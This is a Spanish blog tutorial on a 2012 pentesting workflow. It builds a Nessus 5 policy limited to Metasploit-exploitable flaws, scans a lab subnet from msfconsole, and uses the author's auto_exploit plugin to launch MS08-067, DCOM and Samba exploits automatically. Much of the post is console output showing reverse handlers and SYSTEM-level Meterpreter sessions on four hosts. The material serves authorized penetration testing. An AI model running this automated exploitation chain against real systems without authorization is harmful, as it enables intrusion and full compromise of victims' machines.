// Nessus 5: haciendo My Workflow de Pentesting más fácil

Recientemente Nessus 5 fue lanzado con muchas mejoras en filtrado, tanto en creación de políticas como en el análisis de reportes, también incluye mejoras en el motor de pruebas haciéndolo mas rápido y liviano en términos de recursos. De todas estas nuevas capacidades mi favorita lo es la capacidad de filtrado en creación de plugins y análisis.

Por mucho tiempo mantuve una copia de un listado de varios números de ID de plugins que detectaban los “exploits” más comunes en Metasploit para uso con nessuscmd en mis proyectos. Ahora con la nueva capacidad de filtrado puedo escoger aquellos plugin que cubran agujeros de seguridad que contengan exploits en los “Frameworks” Core Impact y CANVAS, tanto agujeros remotos como locales. En este articulo cubriré como crear una política que cubra todos los plugin que abarquen a Metasploit.

Comenzamos con entrar a la aplicación y  pulsar sobre Policies:

Screen Shot 2012-02-16 at 11.34.26 AM

Una vez en en listado de políticas pulsamos sobre Add donde somos llevados a la próxima pantalla donde podemos entrar un nombre para la política al igual que una descripción para la misma, el resto de los parámetros los podemos dejar como están:

Screen Shot 2012-02-16 at 11.35.51 AM

Podemos pasar a la sección de credenciales pulsando en Next en esta parte podemos entrar cualquier credencial que podamos tener de antemano y en el caso de Windows podemos usar también hashes de NTLM, esto nos ayudara a encontrar posibles agujeros que permitan ataques contra usuarios si las configuraciones de otras maquinas son similares.

Screen Shot 2012-02-16 at 11.36.15 AM

Ahora nos movemos a la próxima sección pulsando sobre Next:

Screen Shot 2012-02-16 at 11.36.29 AM

Comenzamos por pulsar sobre  Disable All y luego pulsamos sobre Add Filter para crear un filtro nuevo, el mismo seria donde escogemos como campo Metasploit Exploit Framework,escogemos la acción de is equal to y como valor colocamos true, pulsamos sobre Save para aplicar el filtro:

Screen Shot 2012-02-16 at 11.36.54 AM

Para escoger los plugins dentro de los filtros pulsamos sobre el nombre de la familia y no sobre el circulo al lado del mismo, en la sección de plugins pulsamos sobre Enable Plugins para habilitar los que cumplen con el filtro:

 Screen Shot 2012-02-16 at 11.37.14 AM

Ahora pulsamos sobre Next y después sobre Save para guardar la politica.

Una vez guardado puede ser usado desde el plugin de nessus que viene con Metasploit. Podemos usar la consola tanto en Armitage, MSFConsole o en  Metasploit Community/Pro/Express para cargar el mismo:

msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

Una vez cargado podemos usar el comando de nessus_connect para conectarnos y podemos listar las políticas con  nessus_policy_list:

msf > nessus_connect carlos:contasena@localhost ok
[*] Connecting to https://localhost:8834/ as carlos
[*] Authenticated
msf > nessus_policy_list
[+] Nessus Policy List
[+]

 

ID  Name                        Comments
--  ----                        --------
-1  External Network Scan
-2  Internal Network Scan
-3  Prepare for PCI DSS audits
-4  Web App Tests
6   Metasploit Exploits

Ahora podemos usar la política para lanzar un nuevo scan usando el comando de nessus_scan_new pasándole el ID de la política, un nombre y el rango de IPs a ser examinados:

msf > nessus_scan_new 6 "contoso pentest" 192.168.1.1-241
[*] Creating scan from policy number 6, called "contoso pentest" and scanning 192.168.1.1-241
[*] Scan started.  uid is 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554

Podemos monitorear el status del scan usando el comando de nessus_scan_status:

msf > nessus_scan_status
[+] Running Scans
[+]

 

Scan ID                                               Name             Owner   Started            Status   Current Hosts  Total Hosts
-------                                               ----             -----   -------            ------   -------------  -----------
396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  carlos  11:53 Feb 16 2012  running  217            241

 

[+]

 

[*] You can:
[+]         Import Nessus report to database :     nessus_report_get <reportid>
[+]         Pause a nessus scan :             nessus_scan_pause <scanid>
msf >

Una vez terminado el scan podemos usar el comando de nessus_report_list para ver el ID del reporte de los resultados:

msf > nessus_report_list
[+] Nessus Report List
[+]
ID                                                    Name             Status     Date
--                                                    ----             ------     ----
396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  completed  11:58 Feb 16 2012

 

[*] You can:
[*]         Get a list of hosts from the report:          nessus_report_hosts <report id>

Ahora que tenemos el ID del reporte podemos bajar el mismo a un nuevo workspace de manera que podamos evitar un conflicto con data de otros blancos o de otros clientes, para importar el reporte se usa el comando de  nessus_report_get:

msf > workspace -a contoso
[*] Added workspace: contoso
msf > nessus_report_get 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
[*] importing 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
[*] 192.168.1.99
[*] 192.168.1.241
[*] 192.168.1.237
[*] 192.168.1.235
[*] 192.168.1.234
[*] 192.168.1.230
[*] 192.168.1.223
[*] 192.168.1.2
[*] 192.168.1.192
[*] 192.168.1.156
[*] 192.168.1.155
[*] 192.168.1.154
[*] 192.168.1.153
[*] 192.168.1.146
[*] 192.168.1.143
[*] 192.168.1.134
[*] 192.168.1.113
[*] 192.168.1.109
[*] 192.168.1.102
[*] 192.168.1.100
[*] 192.168.1.1
[+] Done

Una vez importado podemos ver las vulnerabilidades que son cubiertas por metasploit usando el comando de vulns:

msf > vulns
[*] Time: 2012-02-16 16:01:44 UTC Vuln: host=192.168.1.1 port=443 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=111 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=53 proto=tcp name=Nessus SNMP Scanner refs=NSS-14274
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.100 port=59159 proto=tcp name=netstat portscanner (SSH) refs=NSS-14272
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.102 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.109 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
.......

Una vez confirmado que encontramos vulnerabilidades para explotar se puede usar mi plugin auto_exploit, el mismo se encuentra en  https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb en una maquina con OSX/Linux solo se tienen que colocarlo en ~/.msf4/plugins para usar el mismo. Comenzamos por cargar el plugin y ver las opciones de vuln_exploit:

msf > load auto_exploit
[*] auto_exploit plug-in loaded.
[*] Successfully loaded plugin: auto_exploit
msf > vuln_exploit -h

 

OPTIONS:

 

    -f <opt>  Provide a comma separated list of IP's and Ranges to skip when running exploits.
    -h        Command Help
    -j <opt>  Max number of concurrent jobs, 3 is the default.
    -m        Only show matched exploits.
    -r <opt>  Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default.
    -s        Do not limit number of sessions to one per target.

Para lanzar los exploits contra las vulnerabilidades que encontramos usamos el comando vuln_exploit , este comando analizará los exploits y vulnerabilidades encontrando aquellas que sean para la plataforma y nivel de viabilidad. Limitara el ataque a 3 a la vez de manera de no martillar a los sistemas y lo limitara a 1 sesión por maquina:

msf > vuln_exploit
[*] Generating List for Matching...
[*] Matching Exploits (This will take a while depending on number of hosts)...
[+] Matched Exploits:
[+]     192.168.1.153 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.113 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.99 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.192 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom 135 500
[+]     192.168.1.154 exploit/linux/samba/lsa_transnames_heap 445 400
[+]     192.168.1.113 exploit/windows/smb/ms06_040_netapi 445 400
[+]     192.168.1.153 exploit/windows/smb/ms04_011_lsass 445 400
[+]     192.168.1.153 exploit/windows/smb/ms06_040_netapi 445 400
[+]     192.168.1.153 exploit/windows/smb/ms05_039_pnp 445 400
[+]     192.168.1.153 exploit/windows/smb/ms04_007_killbill 445 100
[*] Running Exploits:
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.153

 

[*] Started reverse handler on 192.168.1.241:29271
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.113
[*] Automatically detecting the target...
[*] Started reverse handler on 192.168.1.241:4643
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.99
[*] Started reverse handler on 192.168.1.241:14900
[*] Automatically detecting the target...
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
[*] Selected Target: Windows 2000 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.99
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.153
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.113
[*] waiting for finishing some modules... active jobs: 3 / threads: 16
[*] Meterpreter session 1 opened (192.168.1.241:14900 -> 192.168.1.99:1513) at 2012-02-16 12:54:23 -0400
[*] Meterpreter session 2 opened (192.168.1.241:29271 -> 192.168.1.153:2709) at 2012-02-16 12:54:23 -0400
[*] Meterpreter session 3 opened (192.168.1.241:4643 -> 192.168.1.113:4035) at 2012-02-16 12:54:23 -0400
[*] waiting for finishing some modules... active jobs: 0 / threads: 19
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.192
[+]     Skipping 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom because a session already exists.
[*] Started reverse handler on 192.168.1.241:15430
[*] Running exploit/linux/samba/lsa_transnames_heap against 192.168.1.154
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[+]     Skipping 192.168.1.113 exploit/windows/smb/ms06_040_netapi because a session already exists.
[*] Started reverse handler on 192.168.1.241:48452
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_011_lsass because a session already exists.
[*] Creating nop sled....
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms06_040_netapi because a session already exists.
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms05_039_pnp because a session already exists.
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_007_killbill because a session already exists.
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

 

[*] Attempting to trigger the vulnerability...
msf > [*] Sending stage (752128 bytes) to 192.168.1.192
[*] Meterpreter session 4 opened (192.168.1.241:15430 -> 192.168.1.192:1597) at 2012-02-16 12:54:29 -0400

Para ver las sesiones que se obtuvieron se usa el comando de  sessions :

msf > sessions

 

Active sessions
===============

 

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ CARLOS-CD652C1C  192.168.1.241:14900 -> 192.168.1.99:1513
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN2KADV01       192.168.1.241:29271 -> 192.168.1.153:2709
  3   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TEST-01BCDAF47C  192.168.1.241:4643 -> 192.168.1.113:4035
  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DBSQL2K01        192.168.1.241:15430 -> 192.168.1.192:1597

Como se puede ver el uso de los filtros en la creación de políticas y el uso de mi plugin the auto_exploit hace que el descubrimiento y ataque sea lo mas táctico posible reduciendo el numero y riesgo al momento de hacer una penetración remota de un ambiente.

Espero que haya encontrado el articulo útil e informativo.